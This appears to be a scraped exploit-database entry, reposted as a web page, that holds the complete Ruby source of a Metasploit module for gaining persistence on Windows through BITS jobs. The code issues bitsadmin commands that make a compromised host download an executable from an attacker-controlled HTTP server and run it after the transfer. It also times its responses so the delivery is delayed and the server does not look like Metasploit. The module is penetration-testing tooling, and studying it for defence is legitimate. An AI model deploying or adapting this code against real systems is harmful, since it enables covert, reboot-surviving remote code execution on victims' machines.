{“lastseen”:”2026-04-15T19:28:07″,”description”:”This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service BITS is a Windows service for transferring files in the background using idle network bandwidth. BITS jobs are…”,”published”:”2026-04-15T19:02:24″,”modified”:”2026-04-15T19:02:24″,”type”:”metasploit”,”title”:”Windows Persistence Bits Job”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::Windows::Priv\\n include Msf::Post::File\\n include Msf::Exploit::Remote::HttpServer\\n include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function\\n include Msf::Exploit::EXE\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Persistence Bits Job’,\\n ‘Description’ =\\u003e %q{\\n This module establishes persistence through a BITS job that\\n downloads and executes a payload. Background Intelligent Transfer Service\\n (BITS) is a Windows service for transferring files in the background\\n using idle network bandwidth. BITS jobs are persistent and will resume\\n across reboots until completed or cancelled.\\n\\n BITS does not include a timing mechanism for when jobs are run, so we control that\\n in how we respond to the HTTP requests from the BITS client. This avoids needing\\n to set up an external trigger to start the job like a scheduled task or similar.\\n\\n Similarily, BITS jobs are somewhat clock agnostic, so while we can set some\\n time parameters, the aren’t a guarantee of when the job will actually run.\\n Jobs that we’ve idled via HTTP server response will have a \\”CONNECTING\\” status.\\n\\n BITS is fickle about the HTTP responses it expects, so we have to be precise in\\n how the server responds. For a HEAD request we need to send back a correct\\n Content-Length header matching the payload size, but with no body. For GET requests\\n we need to handle byte range requests properly (althought not always used),\\n sending back the appropriate\\n Content-Range headers. If we respond incorrectly BITS may error out or retry\\n in unexpected ways. However, we can trick BITS into not getting the payload until\\n we want by responding to the GET requests with no body (aka how we responded to\\n the HEAD requests) until our delay time has reached.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘h00die’,\\n ],\\n ‘Platform’ =\\u003e [ ‘win’ ],\\n ‘Arch’ =\\u003e [ ARCH_X86, ARCH_X64 ],\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’ ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1197_BITS_JOBS],\\n [‘URL’, ‘https:\/\/pentestlab.blog\/2019\/10\/30\/persistence-bits-jobs\/’],\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/bitsadmin’],\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/bits\/life-cycle-of-a-bits-job’],\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Stance’ =\\u003e Msf::Exploit::Stance::Passive,\\n ‘Passive’ =\\u003e true,\\n ‘DisclosureDate’ =\\u003e ‘2001-10-01’, # bits release date\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [CONFIG_CHANGES, IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘JOB_NAME’, [false, ‘The name to use for the bits job provider. (Default: random)’ ]),\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n # DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light\\n # suggestion to the system\\n OptInt.new(‘DELAY’, [false, ‘Delay in seconds before callback.’, 1.hours.to_i]),\\n OptInt.new(‘RETRY_DELAY’, [false, ‘Delay in seconds between retries.’, 10.minutes.to_i]),\\n ])\\n end\\n\\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n\\n d\\n end\\n\\n def http_response_head\\n # unfortunately if we include a content-length header like:\\n # return send_response(cli, generate_payload_exe, { ‘Content-Length’ =\\u003e generate_payload_exe.bytesize })\\n # it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server\\n # response to headers manually so they adhere to the spec close enough for BITS to accept it.\\n # You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and\\n # it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.\\n\\n response = create_response(200, ‘OK’, ‘1.0’)\\n headers = [\\n # we want to send an arbitrarily low content length to prevent the server from doing Ranges.\\n # while there is code to handle that, I’ve yet to determine a method to delay it from getting\\n # the payload or going into an ERROR state and ceasing the job.\\n \\”Content-Length: 5\\\\r\\\\n\\”,\\n # \\”Content-Length: #{@pload.bytesize}\\\\r\\\\n\\”,\\n \\”Accept-Ranges: none\\\\r\\\\n\\”,\\n \\”Last-Modified: #{Time.now.httpdate}\\”\\n ]\\n response = response.to_s\\n response = response.sub(‘Content-Length: 0’, headers.join)\\n response = response.sub(\\”Content-Type: text\/html\\\\r\\\\n\\”, \\”Content-Type: application\/vnd.microsoft.portable-executable\\\\r\\\\n\\”)\\n response\\n end\\n\\n def http_response_range(start_byte, end_byte)\\n payload_size = @pload.bytesize\\n if start_byte \\u0026\\u0026 end_byte\\n # normal range: bytes=100-200\\n chunk = @pload.byteslice(start_byte, end_byte – start_byte + 1)\\n elsif start_byte \\u0026\\u0026 !end_byte\\n # bytes=500- (from 500 to end)\\n chunk = @pload.byteslice(start_byte, payload_size – start_byte)\\n end_byte = payload_size – 1\\n elsif !start_byte \\u0026\\u0026 end_byte\\n # bytes=-100 (last 100 bytes)\\n chunk = @pload.byteslice(payload_size – end_byte, end_byte)\\n start_byte = payload_size – end_byte\\n end_byte = payload_size – 1\\n else\\n # fallback: send entire payload\\n chunk = @pload\\n start_byte = 0\\n end_byte = payload_size – 1\\n end\\n\\n vprint_status(\\”HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client\\”)\\n headers = {\\n ‘Content-Type’ =\\u003e ‘application\/vnd.microsoft.portable-executable’,\\n ‘Content-Range’ =\\u003e \\”bytes #{start_byte}-#{end_byte}\/#{payload_size}\\”\\n }\\n\\n response = create_response(206, ‘Partial Content’, ‘1.0’)\\n response.body = chunk\\n response.headers.merge!(headers)\\n response.to_s\\n end\\n\\n def on_request_uri(cli, request)\\n vprint_status(\\”HTTP Server: #{request.method} #{request.uri} requested by #{request[‘User-Agent’]} on #{cli.peerhost}\\”)\\n unless request[‘User-Agent’].downcase.include?(‘bits’)\\n vprint_error(‘HTTP Server: Non BITS client detected, sending 404’)\\n return\\n end\\n\\n unless %w[HEAD GET].include?(request.method)\\n vprint_error(\\”HTTP Server: Ignoring #{request.method} request\\”)\\n return\\n end\\n\\n if request.method == ‘HEAD’\\n vprint_good(‘HTTP Server: HEAD request received, sending response’)\\n return cli.put(http_response_head)\\n end\\n\\n # BITS may use byte ranges, so we need to parse that out and send back the appropriate data\\n if request.headers[‘Range’] =~ \/bytes=(\\\\d*)-(\\\\d*)\/\\n start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i\\n end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i\\n\\n return cli.put(http_response_range(start_byte, end_byte))\\n end\\n\\n if @start_time + datastore[‘DELAY’] \\u003e Time.now.to_i\\n message = \\”HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore[‘DELAY’]).strftime(‘%m\/%d\/%Y %H:%M:%S’)} (#{(@start_time + datastore[‘DELAY’]) – Time.now.to_i}s left), sending empty body back to force a retry\\”\\n\\n vprint_status(message)\\n return cli.put(http_response_head)\\n end\\n\\n vprint_status(‘HTTP Server: Sending full payload to BITS client’)\\n return send_response(cli, @pload, { ‘Content-Type’ =\\u003e ‘application\/vnd.microsoft.portable-executable’ })\\n end\\n\\n def check\\n print_warning(‘Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.’) if datastore[‘WritableDir’].start_with?(‘%TEMP%’) # check the original value\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n\\n Msf::Exploit::CheckCode::Vulnerable(‘Likely exploitable’)\\n end\\n\\n def install_persistence\\n @pload = generate_payload_exe\\n endpoint = Rex::Text.rand_text_alphanumeric(8..12)\\n\\n start_service({\\n ‘Uri’ =\\u003e {\\n ‘Proc’ =\\u003e proc do |cli, req|\\n on_request_uri(cli, req)\\n end,\\n ‘Path’ =\\u003e \\”\/#{endpoint}\\”\\n },\\n ‘ssl’ =\\u003e false\\n })\\n\\n job_name = datastore[‘JOB_NAME’] || Rex::Text.rand_text_alphanumeric(8..12)\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alphanumeric(8..12)\\n payload_name += ‘.exe’ unless payload_name.downcase.end_with?(‘.exe’)\\n\\n result = cmd_exec(\\”bitsadmin \/create \\\\\\”#{job_name}\\\\\\”\\”)\\n id = begin\\n result.match(\/Created job (\\\\{[0-9A-Fa-f-]{36}\\\\})\\\\.\/)[0]\\n rescue StandardError\\n nil\\n end\\n fail_with(Failure::UnexpectedReply, ‘Failed to create BITS job’) unless id\\n print_good(\\”Successfully created BITS job #{job_name} with ID #{id}\\”)\\n @start_time = Time.now.to_i\\n cmd_list =\\n [\\n %(bitsadmin \/addfile \\”#{job_name}\\” \\”http:\/\/#{srvhost_addr}:#{srvport}\/#{endpoint}\\” \\”#{writable_dir}\\\\\\\\#{payload_name}\\”),\\n # this next line is a little complex. first we tell bits to complete the job which means after it’s done transfering move the downloaded file from\\n # a temp file to its final location and delete the job. Then run our payload\\n\\n %(bitsadmin \/SetNotifyCmdLine \\”#{job_name}\\” \\”cmd.exe\\” \\”\/c bitsadmin \/complete \\\\\\\\\\\\\\”#{job_name}\\\\\\\\\\\\\\” \\u0026\\u0026 if exist \\\\\\\\\\\\\\”#{writable_dir}\\\\\\\\#{payload_name}\\\\\\\\\\\\\\” start \/b \\\\\\\\\\\\\\”\\\\\\\\\\\\\\” \\\\\\\\\\\\\\”#{writable_dir}\\\\\\\\#{payload_name}\\\\\\\\\\\\\\”\\\\\\”\\”),\\n %(bitsadmin \/SetMinRetryDelay \\”#{job_name}\\” #{datastore[‘RETRY_DELAY’]}), # seconds\\n %(bitsadmin \/setpriority \\”#{job_name}\\” high),\\n %(bitsadmin \/setnoprogresstimeout \\”#{job_name}\\” 10), # seconds\\n %(bitsadmin \/resume \\”#{job_name}\\”)\\n ]\\n cmd_list.each do |cmd|\\n vprint_status(\\”Executing: #{cmd}\\”)\\n result = cmd_exec(cmd)\\n vprint_line(\\” #{result.lines.last.chomp}\\”) if result \\u0026\\u0026 !result.empty?\\n end\\n\\n print_good(\\”Persistence installed! Payload will be downloaded to #{writable_dir}\\\\\\\\#{payload_name} when the BITS job #{job_name} runs.\\”)\\n @clean_up_rc \\u003c\\u003c \\”bitsadmin \/cancel \\\\\\”#{id}\\\\\\”\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”rm \\\\\\”#{(writable_dir + ‘\\\\\\\\’ + payload_name).gsub(‘\\\\\\\\’, ‘\/’)}\\\\\\”\\\\n\\” # just in case one did execute\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/bits.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/bits\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-15T19:28:07″,”description”:”This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service BITS is a Windows service for transferring…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-47293","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n